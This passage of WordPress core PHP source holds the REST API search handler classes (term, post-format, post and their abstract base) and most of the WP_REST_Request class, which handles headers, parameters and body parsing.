		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['exclude'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['include'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API term search request.
		 *
		 * Enables adding extra arguments or setting defaults for a term search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_term_search_query', $query_args, $request );

		$query       = new WP_Term_Query();
		$found_terms = $query->query( $query_args );
		$found_ids   = wp_list_pluck( $found_terms, 'term_id' );

		unset( $query_args['offset'], $query_args['number'] );

		$total = wp_count_terms( $query_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total ) {
			$total = 0;
		}

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given term ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int   $id     Term ID.
	 * @param array $fields Fields to include for the term.
	 * @return array {
	 *     Associative array containing fields for the term based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Term ID.
	 *     @type string $title Optional. Term name.
	 *     @type string $url   Optional. Term permalink URL.
	 *     @type string $type  Optional. Term taxonomy name.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$term = get_term( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name;
		}
		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id );
		}
		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id Item ID.
	 * @return array[] Array of link arrays for the given item.
	 */
	public function prepare_item_links( $id ) {
		$term = get_term( $id );

		$links = array();

		$item_route = rest_get_route_for_term( $term );
		if ( $item_route ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ),
		);

		return $links;
	}
}
<?php
/**
 * REST API: WP_REST_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core base class representing a search handler for an object type in the REST API.
 *
 * @since 5.0.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Search_Handler {

	/**
	 * Field containing the IDs in the search result.
	 */
	const RESULT_IDS = 'ids';

	/**
	 * Field containing the total count in the search result.
	 */
	const RESULT_TOTAL = 'total';

	/**
	 * Object type managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	protected $type = '';

	/**
	 * Object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 * @var string[]
	 */
	protected $subtypes = array();

	/**
	 * Gets the object type managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string Object type identifier.
	 */
	public function get_type() {
		return $this->type;
	}

	/**
	 * Gets the object subtypes managed by this search handler.
	 *
	 * @since 5.0.0
	 *
	 * @return string[] Array of object subtype identifiers.
	 */
	public function get_subtypes() {
		return $this->subtypes;
	}

	/**
	 * Searches the object type content for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
	 *               an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
	 *               total count for the matching search results.
	 */
	abstract public function search_items( WP_REST_Request $request );

	/**
	 * Prepares the search result for a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id     Item ID.
	 * @param array      $fields Fields to include for the item.
	 * @return array Associative array containing all fields for the item.
	 */
	abstract public function prepare_item( $id, array $fields );

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 *
	 * @param int|string $id Item ID.
	 * @return array Links for the given item.
	 */
	abstract public function prepare_item_links( $id );
}
<?php
/**
 * REST API: WP_REST_Post_Format_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class representing a search handler for post formats in the REST API.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Format_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->type = 'post-format';
	}

	/**
	 * Searches the post formats for a given search request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type string[] $ids   Array containing slugs for the matching post formats.
	 *     @type int      $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {
		$format_strings = get_post_format_strings();
		$format_slugs   = array_keys( $format_strings );

		$query_args = array();

		if ( ! empty( $request['search'] ) ) {
			$query_args['search'] = $request['search'];
		}

		/**
		 * Filters the query arguments for a REST API post format search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post format search request.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );

		$found_ids = array();
		foreach ( $format_slugs as $index => $format_slug ) {
			if ( ! empty( $query_args['search'] ) ) {
				$format_string       = get_post_format_string( $format_slug );
				$format_slug_match   = stripos( $format_slug, $query_args['search'] ) !== false;
				$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
				if ( ! $format_slug_match && ! $format_string_match ) {
					continue;
				}
			}

			$format_link = get_post_format_link( $format_slug );
			if ( $format_link ) {
				$found_ids[] = $format_slug;
			}
		}

		$page     = (int) $request['page'];
		$per_page = (int) $request['per_page'];

		return array(
			self::RESULT_IDS   => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
			self::RESULT_TOTAL => count( $found_ids ),
		);
	}

	/**
	 * Prepares the search result for a given post format.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id     Item ID, the post format slug.
	 * @param array  $fields Fields to include for the item.
	 * @return array {
	 *     Associative array containing fields for the post format based on the `$fields` parameter.
	 *
	 *     @type string $id    Optional. Post format slug.
	 *     @type string $title Optional. Post format name.
	 *     @type string $url   Optional. Post format permalink URL.
	 *     @type string $type  Optional. String 'post-format'.
	 *}
	 */
	public function prepare_item( $id, array $fields ) {
		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result.
	 *
	 * @since 5.6.0
	 *
	 * @param string $id Item ID, the post format slug.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		return array();
	}
}
<?php
/**
 * REST API: WP_REST_Post_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class representing a search handler for posts in the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Search_Handler
 */
class WP_REST_Post_Search_Handler extends WP_REST_Search_Handler {

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->type = 'post';

		// Support all public post types except attachments.
		$this->subtypes = array_diff(
			array_values(
				get_post_types(
					array(
						'public'       => true,
						'show_in_rest' => true,
					),
					'names'
				)
			),
			array( 'attachment' )
		);
	}

	/**
	 * Searches posts for a given search request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full REST request.
	 * @return array {
	 *     Associative array containing found IDs and total count for the matching search results.
	 *
	 *     @type int[] $ids   Array containing the matching post IDs.
	 *     @type int   $total Total count for the matching search results.
	 * }
	 */
	public function search_items( WP_REST_Request $request ) {

		// Get the post types to search for the current request.
		$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
		if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
			$post_types = $this->subtypes;
		}

		$query_args = array(
			'post_type'           => $post_types,
			'post_status'         => 'publish',
			'paged'               => (int) $request['page'],
			'posts_per_page'      => (int) $request['per_page'],
			'ignore_sticky_posts' => true,
		);

		if ( ! empty( $request['search'] ) ) {
			$query_args['s'] = $request['search'];
		}

		if ( ! empty( $request['exclude'] ) ) {
			$query_args['post__not_in'] = $request['exclude'];
		}

		if ( ! empty( $request['include'] ) ) {
			$query_args['post__in'] = $request['include'];
		}

		/**
		 * Filters the query arguments for a REST API post search request.
		 *
		 * Enables adding extra arguments or setting defaults for a post search request.
		 *
		 * @since 5.1.0
		 *
		 * @param array           $query_args Key value array of query var to query value.
		 * @param WP_REST_Request $request    The request used.
		 */
		$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );

		$query = new WP_Query();
		$posts = $query->query( $query_args );
		// Querying the whole post object will warm the object cache, avoiding an extra query per result.
		$found_ids = wp_list_pluck( $posts, 'ID' );
		$total     = $query->found_posts;

		return array(
			self::RESULT_IDS   => $found_ids,
			self::RESULT_TOTAL => $total,
		);
	}

	/**
	 * Prepares the search result for a given post ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int   $id     Post ID.
	 * @param array $fields Fields to include for the post.
	 * @return array {
	 *     Associative array containing fields for the post based on the `$fields` parameter.
	 *
	 *     @type int    $id    Optional. Post ID.
	 *     @type string $title Optional. Post title.
	 *     @type string $url   Optional. Post permalink URL.
	 *     @type string $type  Optional. Post type.
	 * }
	 */
	public function prepare_item( $id, array $fields ) {
		$post = get_post( $id );

		$data = array();

		if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
			if ( post_type_supports( $post->post_type, 'title' ) ) {
				add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
				remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			} else {
				$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
			}
		}

		if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
		}

		if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
		}

		if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
			$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
		}

		return $data;
	}

	/**
	 * Prepares links for the search result of a given ID.
	 *
	 * @since 5.0.0
	 *
	 * @param int $id Item ID.
	 * @return array Links for the given item.
	 */
	public function prepare_item_links( $id ) {
		$post = get_post( $id );

		$links = array();

		$item_route = rest_get_route_for_post( $post );
		if ( ! empty( $item_route ) ) {
			$links['self'] = array(
				'href'       => rest_url( $item_route ),
				'embeddable' => true,
			);
		}

		$links['about'] = array(
			'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
		);

		return $links;
	}

	/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s". As the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 5.0.0
	 *
	 * @return string Protected title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Attempts to detect the route to access a single item.
	 *
	 * @since 5.0.0
	 * @deprecated 5.5.0 Use rest_get_route_for_post()
	 * @see rest_get_route_for_post()
	 *
	 * @param WP_Post $post Post object.
	 * @return string REST route relative to the REST base URI, or empty string if unknown.
	 */
	protected function detect_rest_item_route( $post ) {
		_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );

		return rest_get_route_for_post( $post );
	}
}
<?php
/**
 * REST API: WP_REST_Request class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST request object.
 *
 * Contains data from the request, to be passed to the callback.
 *
 * Note: This implements ArrayAccess, and acts as an array of parameters when
 * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
 * so be aware it may have non-array behavior in some cases.
 *
 * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
 * does not distinguish between arguments of the same name for different request methods.
 * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
 * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
 * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
 *
 * @since 4.4.0
 *
 * @link https://www.php.net/manual/en/class.arrayaccess.php
 */
#[AllowDynamicProperties]
class WP_REST_Request implements ArrayAccess {

	/**
	 * HTTP method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $method = '';

	/**
	 * Parameters passed to the request.
	 *
	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
	 * superglobals when being created from the global scope.
	 *
	 * @since 4.4.0
	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
	 */
	protected $params;

	/**
	 * HTTP headers for the request.
	 *
	 * @since 4.4.0
	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	protected $headers = array();

	/**
	 * Body data.
	 *
	 * @since 4.4.0
	 * @var string Binary data from the request.
	 */
	protected $body = null;

	/**
	 * Route matched for the request.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $route;

	/**
	 * Attributes (options) for the route that was matched.
	 *
	 * This is the options array used when the route was registered, typically
	 * containing the callback as well as the valid methods for the route.
	 *
	 * @since 4.4.0
	 * @var array Attributes for the request.
	 */
	protected $attributes = array();

	/**
	 * Used to determine if the JSON data has been parsed yet.
	 *
	 * Allows lazy-parsing of JSON data where possible.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_json = false;

	/**
	 * Used to determine if the body data has been parsed yet.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	protected $parsed_body = false;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method     Optional. Request method. Default empty.
	 * @param string $route      Optional. Request route. Default empty.
	 * @param array  $attributes Optional. Request attributes. Default empty array.
	 */
	public function __construct( $method = '', $route = '', $attributes = array() ) {
		$this->params = array(
			'URL'      => array(),
			'GET'      => array(),
			'POST'     => array(),
			'FILES'    => array(),

			// See parse_json_params.
			'JSON'     => null,

			'defaults' => array(),
		);

		$this->set_method( $method );
		$this->set_route( $route );
		$this->set_attributes( $attributes );
	}

	/**
	 * Retrieves the HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string HTTP method.
	 */
	public function get_method() {
		return $this->method;
	}

	/**
	 * Sets HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method HTTP method.
	 */
	public function set_method( $method ) {
		$this->method = strtoupper( $method );
	}

	/**
	 * Retrieves all headers from the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Canonicalizes the header name.
	 *
	 * Ensures that header names are always treated the same regardless of
	 * source. Header names are always case insensitive.
	 *
	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
	 * character, as per header parsing rules in both Apache and nginx.
	 *
	 * @link https://stackoverflow.com/q/18185366
	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 * @return string Canonicalized name.
	 */
	public static function canonicalize_header_name( $key ) {
		$key = strtolower( $key );
		$key = str_replace( '-', '_', $key );

		return $key;
	}

	/**
	 * Retrieves the given header from the request.
	 *
	 * If the header has multiple values, they will be concatenated with a comma
	 * as per the HTTP specification. Be aware that some non-compliant headers
	 * (notably cookie headers) cannot be joined this way.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return string|null String value if set, null otherwise.
	 */
	public function get_header( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return implode( ',', $this->headers[ $key ] );
	}

	/**
	 * Retrieves header values from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return array|null List of string values if set, null otherwise.
	 */
	public function get_header_as_array( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return $this->headers[ $key ];
	}

	/**
	 * Sets the header on request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function set_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		$this->headers[ $key ] = $value;
	}

	/**
	 * Appends a header value for the given header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function add_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		if ( ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = array();
		}

		$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
	}

	/**
	 * Removes all values for a header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 */
	public function remove_header( $key ) {
		$key = $this->canonicalize_header_name( $key );
		unset( $this->headers[ $key ] );
	}

	/**
	 * Sets headers on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers  Map of header name to value.
	 * @param bool  $override If true, replace the request's headers. Otherwise, merge with existing.
	 */
	public function set_headers( $headers, $override = true ) {
		if ( true === $override ) {
			$this->headers = array();
		}

		foreach ( $headers as $key => $value ) {
			$this->set_header( $key, $value );
		}
	}

	/**
	 * Retrieves the Content-Type of the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array|null Map containing 'value' and 'parameters' keys
	 *                    or null when no valid Content-Type header was
	 *                    available.
	 */
	public function get_content_type() {
		$value = $this->get_header( 'Content-Type' );
		if ( empty( $value ) ) {
			return null;
		}

		$parameters = '';
		if ( strpos( $value, ';' ) ) {
			list( $value, $parameters ) = explode( ';', $value, 2 );
		}

		$value = strtolower( $value );
		if ( ! str_contains( $value, '/' ) ) {
			return null;
		}

		// Parse type and subtype out.
		list( $type, $subtype ) = explode( '/', $value, 2 );

		$data = compact( 'value', 'type', 'subtype', 'parameters' );
		$data = array_map( 'trim', $data );

		return $data;
	}

	/**
	 * Checks if the request has specified a JSON Content-Type.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if the Content-Type header is JSON.
	 */
	public function is_json_content_type() {
		$content_type = $this->get_content_type();

		return isset( $content_type['value'] ) && wp_is_json_media_type( $content_type['value'] );
	}

	/**
	 * Retrieves the parameter priority order.
	 *
	 * Used when checking parameters in WP_REST_Request::get_param().
	 *
	 * @since 4.4.0
	 *
	 * @return string[] Array of types to check, in order of priority.
	 */
	protected function get_parameter_order() {
		$order = array();

		if ( $this->is_json_content_type() ) {
			$order[] = 'JSON';
		}

		$this->parse_json_params();

		// Ensure we parse the body data.
		$body = $this->get_body();

		if ( 'POST' !== $this->method && ! empty( $body ) ) {
			$this->parse_body_params();
		}

		$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
		if ( in_array( $this->method, $accepts_body_data, true ) ) {
			$order[] = 'POST';
		}

		$order[] = 'GET';
		$order[] = 'URL';
		$order[] = 'defaults';

		/**
		 * Filters the parameter priority order for a REST API request.
		 *
		 * The order affects which parameters are checked when using WP_REST_Request::get_param()
		 * and family. This acts similarly to PHP's `request_order` setting.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]        $order   Array of types to check, in order of priority.
		 * @param WP_REST_Request $request The request object.
		 */
		return apply_filters( 'rest_request_parameter_order', $order, $this );
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function get_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			// Determine if we have the parameter for this type.
			if ( isset( $this->params[ $type ][ $key ] ) ) {
				return $this->params[ $type ][ $key ];
			}
		}

		return null;
	}

	/**
	 * Checks if a parameter exists in the request.
	 *
	 * This allows distinguishing between an omitted parameter,
	 * and a parameter specifically set to null.
	 *
	 * @since 5.3.0
	 *
	 * @param string $key Parameter name.
	 * @return bool True if a param exists for the given key.
	 */
	public function has_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * If the given parameter key exists in any parameter type an update will take place,
	 * otherwise a new param will be created in the first parameter type (respecting
	 * get_parameter_order()).
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Parameter name.
	 * @param mixed  $value Parameter value.
	 */
	public function set_param( $key, $value ) {
		$order     = $this->get_parameter_order();
		$found_key = false;

		foreach ( $order as $type ) {
			if ( 'defaults' !== $type && is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				$this->params[ $type ][ $key ] = $value;
				$found_key                     = true;
			}
		}

		if ( ! $found_key ) {
			$this->params[ $order[0] ][ $key ] = $value;
		}
	}

	/**
	 * Retrieves merged parameters from the request.
	 *
	 * The equivalent of get_param(), but returns all parameters for the request.
	 * Handles merging all the available values into a single array.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value.
	 */
	public function get_params() {
		$order = $this->get_parameter_order();
		$order = array_reverse( $order, true );

		$params = array();
		foreach ( $order as $type ) {
			/*
			 * array_merge() / the "+" operator will mess up
			 * numeric keys, so instead do a manual foreach.
			 */
			foreach ( (array) $this->params[ $type ] as $key => $value ) {
				$params[ $key ] = $value;
			}
		}

		return $params;
	}

	/**
	 * Retrieves parameters from the route itself.
	 *
	 * These are parsed from the URL using the regex.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_url_params() {
		return $this->params['URL'];
	}

	/**
	 * Sets parameters from the route.
	 *
	 * Typically, this is set after parsing the URL.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_url_params( $params ) {
		$this->params['URL'] = $params;
	}

	/**
	 * Retrieves parameters from the query string.
	 *
	 * These are the parameters you'd typically find in `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_query_params() {
		return $this->params['GET'];
	}

	/**
	 * Sets parameters from the query string.
	 *
	 * Typically, this is set from `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_query_params( $params ) {
		$this->params['GET'] = $params;
	}

	/**
	 * Retrieves parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_body_params() {
		return $this->params['POST'];
	}

	/**
	 * Sets parameters from the body.
	 *
	 * Typically, this is set from `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_body_params( $params ) {
		$this->params['POST'] = $params;
	}

	/**
	 * Retrieves multipart file parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_file_params() {
		return $this->params['FILES'];
	}

	/**
	 * Sets multipart file parameters from the body.
	 *
	 * Typically, this is set from `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_file_params( $params ) {
		$this->params['FILES'] = $params;
	}

	/**
	 * Retrieves the default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_default_params() {
		return $this->params['defaults'];
	}

	/**
	 * Sets default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_default_params( $params ) {
		$this->params['defaults'] = $params;
	}

	/**
	 * Retrieves the request body content.
	 *
	 * @since 4.4.0
	 *
	 * @return string Binary data from the request body.
	 */
	public function get_body() {
		return $this->body;
	}

	/**
	 * Sets body content.
	 *
	 * @since 4.4.0
	 *
	 * @param string $data Binary data from the request body.
	 */
	public function set_body( $data ) {
		$this->body = $data;

		// Enable lazy parsing.
		$this->parsed_json    = false;
		$this->parsed_body    = false;
		$this->params['JSON'] = null;
	}

	/**
	 * Retrieves the parameters from a JSON-formatted body.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_json_params() {
		// Ensure the parameters have been parsed out.
		$this->parse_json_params();

		return $this->params['JSON'];
	}

	/**
	 * Parses the JSON parameters.
	 *
	 * Avoids parsing the JSON data until we need to access it.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Returns error instance if value cannot be decoded.
	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
	 */
	protected function parse_json_params() {
		if ( $this->parsed_json ) {
			return true;
		}

		$this->parsed_json = true;

		// Check that we actually got JSON.
		if ( ! $this->is_json_content_type() ) {
			return true;
		}

		$body = $this->get_body();
		if ( empty( $body ) ) {
			return true;
		}

		$params = json_decode( $body, true );

		/*
		 * Check for a parsing error.
		 */
		if ( null === $params && JSON_ERROR_NONE !== json_last_error() ) {
			// Ensure subsequent calls receive error instance.
			$this->parsed_json = false;

			$error_data = array(
				'status'             => WP_Http::BAD_REQUEST,
				'json_error_code'    => json_last_error(),
				'json_error_message' => json_last_error_msg(),
			);

			return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
		}

		$this->params['JSON'] = $params;

		return true;
	}

	/**
	 * Parses the request body parameters.
	 *
	 * Parses out URL-encoded bodies for request methods that aren't supported
	 * natively by PHP. In PHP 5.x, only POST has these parsed automatically.
	 *
	 * @since 4.4.0
	 */
	protected function parse_body_params() {
		if ( $this->parsed_body ) {
			return;
		}

		$this->parsed_body = true;

		/*
		 * Check that we got URL-encoded. Treat a missing Content-Type as
		 * URL-encoded for maximum compatibility.
		 */
		$content_type = $this->get_content_type();

		if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
			return;
		}

		parse_str( $this->get_body(), $params );

		/*
		 * Add to the POST parameters stored internally. If a user has already
		 * set these manually (via `set_body_params`), don't override them.
		 */
		$this->params['POST'] = array_merge( $params, $this->params['POST'] );
	}

	/**
	 * Retrieves the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string Route matching regex.
	 */
	public function get_route() {
		return $this->route;
	}

	/**
	 * Sets the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route matching regex.
	 */
	public function set_route( $route ) {
		$this->route = $route;
	}

	/**
	 * Retrieves the attributes for the request.
	 *
	 * These are the options for the route that was matched.
	 *
	 * @since 4.4.0
	 *
	 * @return array Attributes for the request.
	 */
	public function get_attributes() {
		return $this->attributes;
	}

	/**
	 * Sets the attributes for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $attributes Attributes for the request.
	 */
	public function set_attributes( $attributes ) {
		$this->attributes = $attributes;
	}

	/**
	 * Sanitizes (where possible) the params on the request.
	 *
	 * This is primarily based off the sanitize_callback param on each registered
	 * argument.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
	 */
	public function sanitize_params() {
		$attributes = $this->get_attributes();

		// No arguments set, skip sanitizing.
		if ( empty( $attributes['args'] ) ) {
			return true;
		}

		$order = $this->get_parameter_order();

		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $order as $type ) {
			if ( empty( $this->params[ $type ] ) ) {
				continue;
			}

			foreach ( $this->params[ $type ] as $key => $value ) {
				if ( ! isset( $attributes['args'][ $key ] ) ) {
					continue;
				}

				$param_args = $attributes['args'][ $key ];

				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
				if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
					$param_args['sanitize_callback'] = 'rest_parse_request_arg';
				}
				// If there's still no sanitize_callback, nothing to do here.
				if ( empty( $param_args['sanitize_callback'] ) ) {
					continue;
				}

